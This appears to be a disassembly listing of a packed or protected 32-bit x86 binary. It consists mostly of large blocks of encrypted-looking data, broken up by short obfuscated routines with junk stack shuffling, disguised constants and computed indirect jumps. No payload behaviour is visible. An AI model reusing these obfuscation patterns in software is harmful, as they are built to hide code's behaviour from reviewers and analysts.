		dd 0A6E6B611h, 0A973AE84h, 5B38D600h, 1535C41Ah, 416EB000h
		dd 0A937B009h, 0A2B4D1E8h, 58B67CFh, 7B67D692h,	2A281401h
		dd 0B8A2C1BDh, 2CD3B106h, 0A96EB08Ah, 4167B06Ah, 0A99BB003h
		dd 0F10EE820h, 0ADC2F489h, 0AD57F481h, 0A9B9B01Ah, 531FE040h
		dd 8457DE2h, 7AB68C71h,	0A04745BBh, 0A82A305Dh,	0F8E6DAC3h
		dd 0A973B3E8h, 6AE09000h, 8D903959h, 8D2A3104h,	0A937A704h
		dd 6ACAF100h, 40CCF16Eh, 6290B66h, 0A93659F8h, 0A9D3B000h
		dd 0A9DF5850h, 0F14EB000h, 0EDBEE8C3h, 0ED1AB424h, 0A9D7B424h
		dd 0F9A6B000h, 0A069CC3h, 0BC069388h, 21220A52h, 0A635C9D0h
		dd 0A937B58Eh, 0E18D0A00h, 1290A9C5h, 0BEAA8F35h, 6BF2D6CFh
		dd 28DFCE67h, 24262FDAh, 0BFD59CBDh, 78BA3D06h,	119DA6C0h
		dd 0D2F7EC1Dh, 0AF4F3533h, 6658B611h, 0C6B959C1h, 3D064E5Ch
		dd 0A6C1ADF6h, 32BD24BFh, 8B06BF63h, 8007DD96h,	83C97838h
		dd 0A4F305E9h, 0BAFBBD83h, 74000616h, 3E8D8D0Dh, 0B806114Eh
		dd 1, 0F40E1FFh, 287h, 6A29B700h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0D42CC356h
		dd 27F09600h, 5AF29FA5h, 0F2DE883h, 582h, 0C2816600h, 0C08BF4FCh
		dd 0F1BD83F8h, 61125h, 0BD830975h, 611243Dh, 50197400h
		dd 0B8C08B53h, 3FCh, 0A498589h,	9D8D0611h, 613B290h, 585BD3FFh
		dd 243DBD83h, 74000611h, 0B8535017h, 3FCh, 0A498589h, 9D8D0611h
		dd 613AF31h, 585BD3FFh,	2830Fh,	8AB30000h, 8BD2BF0Fh, 748D8DC0h
		dd 6A0616C2h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 5CF4C355h
		dd 0AF3B2ADBh, 8B5A1B72h, 1131B19Dh, 5D8D8906h,	6A061128h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0B1A8C351h, 0BE761B4Eh, 29BB66DFh, 0D185C723h
		dd 1406112Dh, 0C7000065h, 11270985h, 6,	0DE800h, 81600000h
		dd 0B2AFFB24h, 6FB05F22h, 0FD32FF9h, 88h, 0C28B5F00h, 2C49B5FFh
		dd 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 67455DC3h, 0A995FF09h, 6A06111Dh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 6ACCC351h, 0C595FF00h, 8B061105h, 404EEBC0h,	70E691DCh
		dd 0BCC08025h, 0AE10C602h, 7B8484EFh, 9FA49419h, 0E9F098FBh
		dd 20FC8D7Ch, 2C30881Ah, 584D4805h, 2925AB6Bh, 7775915h
		dd 3C8EB3B1h, 94EB05E1h, 3CD3131Eh, 276B84F4h, 14BB2276h
		dd 63E6029Ch, 1AAD7FDAh, 8885D5D3h, 11E8E5h, 1CA00000h
		dd 0A9B294BFh, 467967B5h, 7434EE6Eh, 89A2986Dh,	11326DB5h
		dd 0BD0B5B06h, 6111519h, 5F04C381h, 0CF810000h,	2327FA0Ah
		dd 6D3F0BEh, 52F6813Bh,	503B06C4h, 5F26D680h, 8D8B038Bh
		dd 61104A1h, 5DC6E881h,	0C0814568h, 7112C70Ch, 81CE8B66h
		dd 30D10CC0h, 698D0B72h, 8906110Eh, 9D896003h, 6112BE5h
		dd 61D0B70Fh, 8B04EB83h, 1128F1BDh, 850F4E06h, 0FFFFFFC0h
		dd 39D9509h, 20E90611h,	0A4000000h, 787051h, 6 dup(0)
		dd 0E9000000h, 59Ah, 4A000F35h,	2E646BD8h, 104649F4h, 0F65C5396h
		dd 0D5BBB4ACh, 0C878A952h, 0D71791C7h, 373072D8h, 16D05238h
		dd 89E13319h, 7FC95886h, 76B6EFC9h, 0D5DA0F65h,	0CAC5075Dh
		dd 7679E933h, 9752A020h, 8D9A1E08h, 50CEDC8Dh, 57588AD8h
		dd 0F3FC6EB6h, 1A15D22Ah, 0C740D483h, 82C8C701h, 62282720h
		dd 58578CE6h, 0C5CA7F45h, 46812357h, 0FC68B449h, 0F36D87F3h
		dd 7B3F21FCh, 58EBBDA2h, 0A8151EB8h, 6ABCF196h,	0AE63DC06h
		dd 961E79A9h, 0C4728ECFh, 963E0A94h, 0C8E123ADh, 7AE43EA0h
		dd 7CEF0575h, 306E3F73h, 916C63E2h, 0B364CBAFh,	33CF95CAh
		dd 0C8A6AFDh, 2BF0092Bh, 0D41660BAh, 1A1EC2DBh,	0CDC42C10h
		dd 1A3D690Fh, 0CF966DECh, 303F297Bh, 9141D682h,	96CF966Dh
		dd 8FE1161Ah, 8F000000h, 7F8E8143h, 678E8503h, 466E556Dh
		dd 0AEDB0D32h, 2E19CF95h, 0F61718C5h, 0FBC1DC4Ah, 0BAA74649h
		dd 9ABD5DE6h, 0CF95AE6Ch, 4BDF4DFBh, 0A612F275h, 95AE81B1h
		dd 66A86CFh, 0CD310004h, 14E0Fh, 431E0000h, 3AC81B84h
		dd 80B5EB23h, 0E0C9B1Fh, 72E075ABh, 726977ABh, 38A7F982h
		dd 43F364D4h, 0C0CF9663h, 0A1A6FCB4h, 0DC055FAEh, 0EE118D43h
		dd 215F7F1Ch, 8C97EDDCh, 0A6929D4Ah, 9B9F904Ch,	3E313375h
		dd 0DE353042h, 0BCF4626Dh, 8743E05Ah, 0C9E9F18h, 32A0EBEBh
		dd 5D5291EBh, 0C0CF7440h, 6F60E73Dh, 44DFA19Eh,	11639F66h
		dd 50A39D2h, 7087697h, 0CF967FD7h, 0CEA2D06Ch, 336F8F98h
		dd 967FEE1Ch, 0D9C775CFh, 2FC1636Ah, 4E949C22h,	65BF959Ah
		dd 0F529F4FBh, 81581FB9h, 0ED2CFE43h, 967EB866h, 79314FCFh
		dd 60F73A2Bh, 0CF967EB2h, 166993B1h, 8D53DE72h,	0C01CE11Fh
		dd 0A8F40906h, 0EA57B6B9h, 0EAAF8D96h, 9BB3ADB6h, 0F70FCD58h
		dd 9Fh,	88874385h, 919E4AD8h, 49F4C099h, 0B9DE0A46h, 0CF968C89h
		dd 5F0E629Eh, 0B6903E68h, 8992592h, 6FF82E42h, 0E374B9A9h
		dd 0CF959433h, 43D48430h, 0CF959393h, 0A0F66490h, 9DCDC206h
		dd 0A6CAC507h, 390D8BF7h, 0EA66A20Bh, 941A275h,	22508BEBh
		dd 2131E176h, 0BA36CF96h, 0BAB5ACF6h, 4DFD92CEh, 89CF9620h
		dd 96205886h, 0B251EFCFh, 5EBB7206h, 0F2739CAh,	430FCD81h
		dd 48h,	888743E9h, 0BADD0975h, 0CF968C8Ch, 1A3D6D9Bh, 0CF968CECh
		dd 7FA5CD7Bh, 3D3AC3CCh, 2A1ED86Bh, 431D6F25h, 3ABC1B84h
		dd 0AADA812Fh, 0B566E13Ch, 31CF9590h, 6E8464FFh, 2917F6F9h
		dd 13C3FB41h, 18F0FCDh,	5D000000h, 0DD8D8243h, 8C40EE61h
		dd 0A9C7CF96h, 12CC28C1h, 0E753801Dh, 0E1EE59ABh, 968CBC6Ah
		dd 753D4BCFh, 67E62023h, 0AD3D12F8h, 829DBBB4h,	157BE9BEh
		dd 98C89C64h, 0A778ACF7h, 0FA03B1D5h, 0E9AFA0A2h, 0D6828DBFh
		dd 7E8F80BCh, 58FFAEC2h, 0C98578A8h, 0F71619CAh, 6FBEB1ADh
		dd 6745DE02h, 43859ED2h, 5EC88E81h, 5DB7E3ECh, 2F11ECE3h
		dd 306C924Bh, 8578EF1Fh, 0B0F874C9h, 2EFFF072h,	841916D6h
		dd 7A838CB8h, 2CCC57B1h, 8578FB2Bh, 4EFC08C9h, 20E661A7h
		dd 19632926h, 9DCFB25h,	0F46Dh,	65E73D00h, 26545B8Eh, 6CB43852h
		dd 956867DCh, 0CA4D3DABh, 0D5A7ACB1h, 99E33AB6h, 0B8EAA0AFh
		dd 207C818Eh, 1BD42926h, 42FC3ACDh, 6D23BCA9h, 4A6C0E6Dh
		dd 106CB12Fh, 12CEDFD0h, 5E2076E4h, 9DC8366h, 5128h, 0F65F000h
		dd 0F05DD5DAh, 80F7B2Fh, 4F968CBAh, 7CA27B89h, 452D2226h
		dd 968E34E2h, 8D82464Fh, 0F73A2470h, 968DB260h,	9503B14Fh
		dd 0F0255808h, 0AA83B106h, 4664FFB5h, 5362E53Bh, 0E56A2672h
		dd 0CF96D815h, 98EAA6D2h, 0A7C9A1AEh, 5C93h, 6CB4B900h
		dd 7CC74838h, 41D5A797h, 5092EA33h, 5591E35Fh, 959D435Ah
		dd 0DC373173h, 0AE926B64h, 0B76AED30h, 1AC98583h, 0C97BBD46h
		dd 7E190C6h, 0F70E753h,	14CF9C46h, 0D3F0598h, 0A4A1FB02h
		dd 0DB0A52ABh, 8A9EC9D4h, 5A2E5B79h, 4410F8C9h,	87200314h
		dd 1305D5A5h, 0E9AFDDD2h, 386CB497h, 10E3A48h, 197A1D69h
		dd 0ED5AD50h, 9DF72BF2h, 959A4BA0h, 435AC808h, 9D4F959Dh
		dd 0F86ABC92h, 0CEB17167h, 558B121Dh, 56C495B7h, 291A68D8h
		dd 0BC9B5226h, 47E63117h, 31F77004h, 0D0523837h, 0B8841916h
		dd 1D678689h, 0ACD22B24h, 26207BABh, 2A7C8857h,	0BFB4A13Eh
		dd 0D939A2E7h, 0DE0A52ABh, 9114CCD1h, 138EACB7h, 23CFA0Dh
		dd 0C3717EE9h, 63E73D8Dh, 6CDE046Ch, 8AC9A63h, 0FE000000h
		dd 4BFA0886h, 43DE2C44h, 29738A85h, 97ED303Fh, 7A425B54h
		dd 0DC38C5CAh, 4A926B64h, 300C919Eh, 95EF3E31h,	7E46A7A8h
		dd 3727C6C9h, 5E08950h,	4, 4BE56h, 0F0290000h, 2404875Eh
; ---------------------------------------------------------------------------
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		mov	ebp, 381A4062h
		not	ebp
		add	ebp, 3E3103D9h
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	esi
		mov	esi, eax
		push	esi
		sub	dword ptr [esp], 77D304ABh
		pop	dword ptr [edx+8]
		add	dword ptr [edx+8], 77D304ABh
		pop	esi
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		db 0D7h
		dd 0F0279544h, 72B8582Eh, 30616C8h, 0D1E0FFC5h,	32127565h
		dd 0F639123Eh, 156DAD79h, 8D0F834Eh, 16C9838Dh,	5D8D8906h
		dd 0F5061128h, 2DD185C7h, 58940611h, 0F2810000h, 55B23DC9h
		dd 270985C7h, 611h, 89560000h, 11001D85h, 0B5FF5F06h, 61103A1h
		dd 1DA995FFh, 13E90611h, 0C1000000h, 0B6FA8C22h, 1897F0A6h
		dd 72ACA6DAh, 0D7E3C36Ah, 6A393Ah, 5C595FFh, 0C08B0611h
		dd 5BAC48EBh, 0C2C4B495h, 50A51B3h, 755D8986h, 0B126B7CAh
		dd 1549099Ch, 0C8AC0479h, 6D49B13Dh, 91F2B45Bh,	7B67DBCh
		dd 54BFDC46h, 29AE22DBh, 0EF108D68h, 2FC19596h,	46F5B6EBh
		dd 2C1D1952h, 9D98FE00h, 793CC666h, 2AE9E3FDh, 8E000000h
		dd 2BE47Dh, 9 dup(0)
		dd 0B9AE900h, 9A680000h, 0E90616CBh, 0FFFB7DA8h, 16CC5C68h
		dd 7D9EE906h, 368FFFBh,	0E90616CEh, 0FFFB7D94h,	16CEDB68h
		dd 7D8AE906h, 6868FFFBh, 0E90616D1h, 0FFFB7D80h, 16D31D68h
		dd 7D76E906h, 1A68FFFBh, 0E90616D4h, 0FFFB7D6Ch, 6B6FF5F7h
		dd 0BA9CC2C7h, 86C89616h, 0CF035F62h, 183E2CABh, 64632BE7h
		dd 32ACD006h, 0F9FA1E30h, 0C1C1656Dh, 306AFA3h,	0EDAB88B5h
		dd 650E988h, 51273DBDh,	0F489C71Ah, 0AD8EFB61h,	5858FCB2h
		dd 0E8231A33h, 0FF8A2BBBh, 0FA039BDBh, 0C52929A7h, 0E93E950Ch
		dd 147DD2EBh, 39D48377h, 9C1A3C73h, 357DEACEh, 147DEE9Bh
		dd 7E1F6F77h, 619F521Fh, 6D43891Fh, 0DDE0EC64h,	8477141Bh
		dd 3D8105CBh, 4FF46A4Ch, 70000000h, 91F4F991h, 0B449075Ah
		dd 0ED8EFB61h, 0A2923C72h, 0C8950C85h, 74D88606h, 0B7734183h
		dd 0DC387EDFh, 0F28F2D83h, 73771510h, 0E9E0282Ch, 8A06D79Ah
		dd 8615F424h, 1F6137B9h, 84ABDE62h, 9AE7DB4Fh, 0C442D4h
		dd 0C50D0000h, 57D498CAh, 3DBD0363h, 0EEE95127h, 9010387Ch
		dd 36BA9ED2h, 54082628h, 0C58EFB66h, 6C89FC5h, 7DE5E483h
		dd 0D59D8AEEh, 174D4DF1h, 303DD5A1h, 85076F6Dh,	3A5C6AF3h
		dd 92B7BDBBh, 0FFC25130h, 0AB0F5D5Bh, 5657CF07h, 0EBE93C73h
		dd 771523D2h, 8402D483h, 622690E6h, 736CE151h, 3EB981E4h
		dd 0AAE9D615h, 6D933925h, 0C49A1FC3h, 49E473F0h, 80E2DD01h
		dd 4FCD1B5Eh, 0BE6C4AE6h, 95Fh,	9BBFA527h, 0EAEC7277h
		dd 36184646h, 7F530F92h, 488EDCDBh, 1493DB37h, 0E2DC0056h
		dd 0A92A4E80h, 717195BDh, 0D3B6DFF3h, 0EDAAD8E5h, 56E09988h
		dd 2E2042BDh, 7658068Ah, 0E1881B21h, 3E397366h,	0F991E878h
		dd 532391F4h, 80950C85h, 4A4EF0D7h, 62694014h, 0D16F1E11h
		dd 48795799h, 0C977151Ah, 0F441D0B1h, 0E61F6101h, 0A5h
		dd 273DBD5Eh, 7CEEE951h, 66C29A38h, 0A6A88EFBh,	0CD713925h
		dd 1F4397CDh, 0B8EFC59Bh, 63491596h, 2AA2B204h,	14705C23h
		dd 6D6AF385h, 0FC94DCF2h, 0E3A6AAF1h, 6B0B97CDh, 754394DAh
		dd 6CE1095Ch, 0FB5F223Dh, 0C4686EFCh, 3EA199C9h, 5BE64F46h
		dd 89D4F1Dh, 0E3E10000h, 0A4254981h, 787498BEh,	4140E4EAh
		dd 0A852921h, 5C17658h,	2A2C3EB9h, 745A0886h, 4397D3D0h
		dd 8DC59B1Fh, 96972564h, 0CF88EDADh, 42BD24BEh,	22792E20h
		dd 0FB619796h, 0DB87068Eh, 5F089695h, 0ADB3371Bh, 0F47670D6h
		dd 0EBCFA380h, 0EF3DBD7Bh, 0FB61DCE1h, 3FCA858Eh, 971E2279h
		dd 0C9A05BA7h, 0AB2F1367h, 0BD559DB5h, 3BEFEDB0h, 3950C1Ch
		dd 0D0A4BA3Fh, 0ACF31F53h, 14141D20h, 7C0B4477h, 0C0A22129h
		dd 6419B7ECh, 3D771414h, 9D239722h, 2B2F35B5h, 175D0387h
		dd 90F1E2B9h, 0BC82E1DBh, 0D14E2240h, 8CC04199h, 2F00560Ch
		dd 0F5BDAB2Bh, 5D135151h, 9033437Fh, 8CDED8E8h,	0E1810028h
		dd 6C2D798Bh, 6B2A780Bh, 9FB3B131h, 0CDD2777Bh,	884CDB91h
		dd 0F2C68F2Ch, 4E22B1D4h, 0F7F6C219h, 0AEE8908Ah, 19DFF9B1h
		dd 8CE8908Ah, 9B1F5130h, 69698DC5h, 29A1B5FBh, 0C40A4124h
		dd 0E7D199C9h, 0F3679F57h, 0DF8B082Ch, 3331B199h, 6EC109A4h
		dd 0B980BD1Bh, 86D1EEA1h, 0A5A82030h, 18B48BDEh, 0EEA1B965h
		dd 0CE9C183Ch, 11517F33h, 66F556A4h, 651583E9h,	9AD4B2DCh
		dd 0C7940382h, 0B57FBC3Fh, 40Dh, 0E5C58FEh, 561A4848h
		dd 0AD81E1C9h, 0C6C75FE2h, 25AAACE3h, 613AC3F1h, 0EC7B8EFBh
		dd 0AA0C1B51h, 0C67AC0Ch, 0C262FD95h, 25CB54FCh, 4449C192h
		dd 0BA0B5361h, 0FF688813h, 0D30DA4A8h, 7005A5FDh, 0E47CF83Eh
		dd 0D53682D9h, 0C8201ACh, 0C6CA0C53h, 8E12B698h, 0D87FEED0h
		dd 30760370h, 6F672h, 263CBE00h, 570B8C30h, 81DFDF03h
		dd 0BCA62549h, 0EB77769Ah, 2E7650E7h, 7B9FB3AFh, 47EBEF7Dh
		dd 92361846h, 0D77E500Eh, 0AF7904B0h, 13888EDh,	273DBDB9h
		dd 0B5341A51h, 6561C5ADh, 319FBC3Ch, 188ED9E1h,	2337C251h
		dd 0BC85h, 4917100h, 41ACD2F1h,	1D530F92h, 0C3A9BB35h
		dd 0D3A46581h, 2BAA6BBBh, 2572831Eh, 491Ch, 4918800h, 122EAAF1h
		dd 438EFB61h, 0F8F8A014h, 0A8A8A953h, 0FBBF112Ch, 4117408Eh
		dd 37C2070Fh, 65FBFF23h, 8E8F070Fh, 0AF419D3Bh,	3916950Ch
		dd 0D6B7D773h, 6194FA47h, 0CE01Fh, 0A7AB0000h, 0EF773B29h
		dd 132C7h, 0F9912F00h, 0F45A91F4h, 26056BF7h, 7E726650h
		dd 6F03950Ch, 0A0BFF56Bh, 0BEC62D15h, 0FD3BEC63h, 61E2Fh
		dd 0FE646600h, 2F33B4D8h, 5907872Bh, 94CECD71h,	0C39F1E42h
		dd 0D69E788Fh, 23478BD7h, 6F93C7A5h, 0BADEF06Eh, 8F262836h
		dd 0AF013C98h, 295088EDh, 0B884E91h, 7E1B1B5Fh,	6265887h
		dd 0B4341A8Dh, 0F190C8AEh, 7286D562h, 52C20625h, 0F2BE20ECh
		dd 831E4C4Ah, 7A392Fh, 91AD0000h, 0A4AAF104h, 5976382Ah
		dd 3CC18FC2h, 658EFB61h, 61979622h, 91CE8EFBh, 5E98AC02h
		dd 7C7A239Dh, 0E9D8AEEh, 5D0186AAh, 0BE5F2F17h,	0C445D5B9h
		dd 8BD9D77Bh, 11704625h, 25728744h, 3736h, 491AE00h, 69ACD2F1h
		dd 6A53F92Eh, 0F6C0185Bh, 1EFF2F83h, 0FBCED6E8h, 3903708Eh
		dd 0E6257322h, 0A354D562h, 0F5724624h, 0BE2EFF5Fh, 0FEA866F8h
		dd 2911FFFFh, 6DF5BDAFh, 660D884Eh, 0AAB9FF63h,	90FB91Fh
		dd 47DD80EBh, 6F96E373h, 78F7DE60h, 0A088EC7Eh,	146E4220h
		dd 2E6C0988h, 1716A2F9h, 4E8EFB08h, 80015911h, 72F04411h
		dd 1C73625h, 0BDAE0000h, 174C2042h, 0F9B1AF33h,	0A80C5655h
		dd 0D4FCE5Eh, 5AFED092h, 72A90F5Bh, 0DC92D0CCh,	0B8ABC54h
		dd 0DFFDC05Fh, 950C6B8Bh, 0D397FE8h, 0E5E09C7Dh, 0AE294D85h
		dd 2FDAF8BCh, 0B6771597h, 0E0482C32h, 0CE2F85E5h, 29B8BD5Ch
		dd 580BC5Dh, 0CEC96D65h, 0A33E24A7h, 0F1B296CDh, 257FD8Dh
		dd 4CC44C22h, 20C46678h, 16953EEFh, 5F22B14Ch, 54299CF9h
		dd 0B8A70D55h, 0AD2DE214h, 0B22692C5h, 0C36CE237h, 9A324294h
		dd 0DBF9CC93h, 7D26F022h, 5D92E473h, 0D1E5DF7Fh, 0C5ABA466h
		dd 371CD6D7h, 6B2A7863h, 2578851Dh, 0C0090797h,	0B9385C78h
		dd 0F264C3A9h, 2F3C70EEh, 961ABE90h, 3CBCE4C8h,	0D97F3026h
		dd 0E4CBCA2Fh, 5FD79B77h, 0D5E3C6C7h, 72B78915h, 2987ED7Ah
		dd 6F528918h, 0BF008199h, 6A4E1C9Bh, 0FF4CB5FDh, 0FD071C6Ah
		dd 36h,	0F4F99169h, 0F7F45A91h,	5026056Bh, 0C850E66h, 0B5334795h
		dd 665418B7h, 7715BD4Bh, 2197D3D2h, 8AEE7C79h, 3441C09Ch
		dd 0B423E2BAh, 1F6162A7h, 9695h, 3DBD1100h, 0EEE95127h
		dd 5FE3387Ch, 2C633D5Ah, 6F3AA027h, 0E07E7ED0h,	3826AA8Eh
		dd 0BD193F74h, 0CB22B96Eh, 29A98DE5h, 6579173Bh, 3A8EFBB9h
		dd 2EA6A8B6h, 0E4D0B7B6h, 950FCA4Bh, 8917082Eh,	5D079EEFh
		dd 5957FBCEh, 0CE70A70Bh, 1BBF93CFh, 8598CE9Ch,	54EC6277h
		dd 3915412h, 0D7D50000h, 0A021458Dh, 6C688CC2h,	35B4D8FEh
		dd 681252Dh, 1DD7264h, 26283AB5h, 70660482h, 0BF93CFCCh
		dd 81C9971Bh, 0E29B3950h, 0B388EDB0h, 42BD308Ah, 68A2E20h
		dd 0BDEE7658h, 0E951273Dh, 22247BE9h, 0C9EDC5A1h, 273DBD99h
		dd 0E445FC40h, 0B412F9C5h, 1494BCC2h, 3317084Eh, 76FEB0AEh
		dd 84B917DEh, 0E68EFBAAh, 0FBAAD3EAh, 0B5D5828Eh, 1CB80F9Ah
		dd 950C4C5Ch, 0C8F5C316h, 617714C4h, 0CC9B0765h, 9BD18EEAh
		dd 14C40C3Dh, 4A189577h, 0A1BDC266h, 6A2B7BCBh
		dd 11ACB236h, 7C78DEA1h, 0B15088EEh, 65C4C80Ch,	89DA92BEh
		dd 148532CBh, 59F46377h, 6763F011h, 52591F62h, 2000000h
		dd 0D2A6BC3Ch, 4E051D55h, 175D0D88h, 36AEA608h,	10645037h
		dd 41950C85h, 0F18F82Fh, 1544BC41h, 0E66AE577h,	97227367h
		dd 0D5890E30h, 3ACC809Fh, 58E63C41h, 19B7F9B1h,	77156268h
		dd 4FF091E9h, 195F0D8Bh, 105DA40Ah, 0A1F608Ah, 0E8h, 273DBD7Ah
		dd 5F361A51h, 54AF1333h, 910C3086h, 45448AD1h, 21BCA226h
		dd 7BE9E74Bh, 0D79B3635h, 3B29A991h, 0EDEB3E75h, 8EFB88D0h
		dd 71F3ED81h, 0D9912C3Bh, 0EBEF7575h, 0FB8F11CDh, 540A8E8Eh
		dd 0BDDADE02h, 2F3CC63Ah, 45BF669h, 4B98BDC2h, 68232397h
		dd 0D51B5FEAh, 0B9D1BA9Eh, 33664FADh, 0E2663B98h, 5C12A1D7h
		dd 6A313CD4h, 3A7EE4E4h, 382AA52Dh, 0AF932176h,	37950C05h
		dd 79D18F13h, 0A685EB79h, 0A7ABA4D0h, 0D3B6B72Fh, 0E07744E5h
		dd 673A156Ch, 5086E4E3h, 89B1B12Ch, 0E6508E7Eh,	0DCBF6D4Bh
		dd 0A0000001h, 0EA0E4022h, 2D5179E5h, 7B9FB3B1h, 40E4EA78h
		dd 9A2D2545h, 0E9797440h, 2143BDE1h, 5A088529h,	92D0D074h
		dd 467215BCh, 88EDB2A7h, 0BDF74FFEh, 8A2E2042h,	5636306h
		dd 5B11534Dh, 0C91931CCh, 91F4F991h, 6FF3F45Ah,	37B41A09h
		dd 90E6452Bh, 0C854E26h, 0F5F18795h, 65038305h,	0FA050EFh
		dd 0FAD62D70h, 771539C3h, 0ABEDC592h, 15397C0Dh, 0ECADFD77h
		dd 60DEE06Dh, 0D2DA1Fh,	0BD4A0000h, 1A51273Dh, 0B967C736h
		dd 0DA492F3Dh, 0A3FBE476h, 36BF542Dh, 0F7BB1CECh, 0A2165453h
		dd 0FB216874h, 5BFF328Eh, 0B9A60A58h, 0FB23E29Bh, 0D2A4B38Eh
		dd 0E2F46A6Eh, 9E1F3ABEh, 0F77F35C0h, 4D0B5E5Fh, 950C29F5h
		dd 3562D3Ah, 145988B5h,	0DA7EE977h, 18712595h, 3397DB7Ch
		dd 5F222BA3h, 0E0BE3171h, 0B209466Ch, 1E50128Ch, 0E48601C9h
		dd 134F4EF2h, 50DAE62Fh, 0BD91FE6h, 0DFh, 1B3F25A7h, 6A6CF2F7h
		dd 0B698C6C6h, 0FFD38F12h, 0C80E5C5Bh, 94135BB7h, 625C80D6h
		dd 29AACE00h, 0F1F1153Dh, 53365F73h, 0EDB55865h, 0D6601988h
		dd 0E8E28A4Eh, 230C70A0h, 7B312FAFh, 27A68AECh,	0A311643Bh
		dd 8EFBDB9Ah, 862A8CDBh, 0B63B5E62h, 0AD351DA8h, 51273DBDh
		dd 577BE9E9h, 24E871Fh,	8EFB617Bh, 0CB9E2D3Ah, 94DA8807h
		dd 2A997543h, 61FE9512h, 0BDA3270Bh, 0F3717195h, 0F026AAACh
		dd 125739C4h, 50EF7877h, 0BF83D81Eh, 0DF4C203Eh, 3AE53D9Bh
		dd 801C4507h, 2C4B4F01h, 3BA6D2E4h, 775BF679h, 0DB91CFD3h
		dd 8AEE7477h, 712BEABAh, 0A7BCCA71h, 36C273BAh,	5EE0B79Bh
		dd 76AD035Fh, 0D39A35Ah, 0D665F245h, 263CBCE0h,	0D9452h
		dd 4E800000h, 61A05D7Bh, 66F18EFBh, 0BDC05810h,	0EB4F253Fh
		dd 0F3379E7h, 0B49CD08Eh, 0DC44283Ah, 72B81E1h,	0B296DA88h
		dd 0D57D332Fh, 7D258BD9h, 5492E67Ch, 81E38953h,	4C3h, 4EB8300h
		dd 5C241C87h, 68241C89h, 6C71h
; ---------------------------------------------------------------------------
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebp
		mov	ebp, 0C761E58h
		mov	edx, 0A60D412h
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	11E5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	ebx
		push	cs
		scasb
		mov	eax, 616D51Eh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 46h,	0C6h, 55h
		dd 0B9317A31h, 0D7E1956h, 0F9917535h, 53166E00h, 0B60A320h
		dd 0EA397B18h, 39E42E64h, 7D727114h, 0C7DF331Fh, 0BF0AF81Ah
		dd 8FEDF55h, 9CB2C452h,	0A90A0F36h, 9A6A064h, 40607905h
		dd 0E05D5963h, 0B67C355h, 0D8BA185Eh, 1377F61Bh, 5888D354h
		dd 1F63B130h, 69AB0712h, 63759B1Eh, 2DE5CF03h, 0DF21676Eh
		dd 217D7364h, 1EBD0F7Bh, 17DFD90Ch, 45DFFB16h, 6648020Ch
		dd 0AA45B00h, 0EE905h, 0A2D30000h, 6C85h, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A7739
; ---------------------------------------------------------------------------
		db 7Ch,	0C6h, 0C9h
		dd 2D222183h, 0F003D67h, 656ADF49h, 424DF52Fh, 43729B0Ch
		dd 60C28887h, 3A5EBE4h,	1F89CFC0h, 2A6C222Dh, 0B69141D6h
		dd 0FD96C97Fh, 8E81438Fh, 323D257Fh, 1718CA5Ch,	0BA68EF5Bh
		dd 49CF968Ch, 5EA6773Bh, 62F521ECh, 0CF968CB4h,	608E05B3h
		dd 0E7CF968Ch, 0FAC2DB49h, 61BB424Dh, 0C814E9E6h, 0B08C111Eh
		dd 0A8F8B9B6h, 2AD87F9Fh, 39CF968Dh, 12661D8Bh,	1A15D711h
		dd 7E71F234h, 525D8E18h, 0FAF5714Bh, 0C5CA748Eh, 60BDB2B3h
		dd 7CE1B8F0h, 62DD1B2Ch, 0F41037FDh, 0D2409E1Bh, 0DFD00C66h
		dd 9949B45h, 0EB3DA3D7h, 0B0977679h, 0CF964D7Fh, 7E9EA9FFh
		dd 0EB323D24h, 73F3D75h, 400FCDD0h, 5D46DE46h, 0CFA3F828h
		dd 47B8h, 0F654000h, 393633D8h,	0AACE7CE4h, 3CC1CE78h
		dd 968CEB1Dh, 363107CFh, 0CDEF1428h, 6C3510Fh, 1EE6109h
		dd 0BE000000h, 0FB6F8443h, 0B93729F4h, 242B1864h, 0AD4683D9h
		dd 0F10CBAB5h, 77B1B2C6h, 0F99FFF0h, 27CD2DDh, 0D4DB0F65h
		dd 0CDC2065Ch, 0CFC0079Dh, 0BF6E023Eh, 2CF1FE65h, 0C4020543h
		dd 0EB3D131Ch, 0A44AE679h, 295F82E1h, 2B1A62BBh, 6CBCD924h
		dd 0ADD1C5DBh, 58AA0FCDh, 798EE2EDh, 98h, 88874307h, 313E2F75h
		dd 9CA7FDECh, 0B1E1EE5Ah, 7EB67D17h, 859F6ADCh,	0BD235758h
		dd 80F0FF6Bh, 20FDF272h, 7DA17830h, 0DE2F2027h,	6DD40E62h
		dd 86419B62h, 2EFFF06Dh, 23798432h, 18D12C23h, 7D853730h
